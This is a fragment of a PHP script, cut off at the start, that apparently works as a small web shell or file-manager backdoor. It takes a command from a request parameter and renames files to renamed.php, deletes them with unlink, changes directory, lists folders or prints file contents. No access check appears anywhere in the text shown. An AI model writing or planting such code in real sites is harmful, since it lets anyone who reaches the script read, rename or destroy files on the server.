"; //echo $_SERVER["argv"][0]; if(!isset($fname) or $fname=="") { showdirectory(); } else { //$file=fopen("logs/20091005.log","r"); $cmd=substr($fname,0,3); $fname=substr($fname,4); echo getcwd()."
"; echo "cmd=".$cmd."
"; echo "filename=".$fname."


"; switch($cmd) { case "ren": rename($fname, "renamed.php"); echo "File ".$fname." renamed."; break; case "del": unlink($fname); echo "File ".$fname." deleted"; break; case "chd": chdir($fname); echo getcwd()."
"; showdirectory(); break; case "shf": showfile($fname); break; default: break; } } function showfile($fname) { $file=fopen($fname,"r"); if(!$file)echo "Can't open file!"; while($txt=fgets($file, 100)) { echo htmlspecialchars($txt)."
"; } fclose($file); } function showdirectory() { $dir=opendir(getcwd()); while($f=readdir($dir)) { echo $f."
"; } closedir($dir); } ?>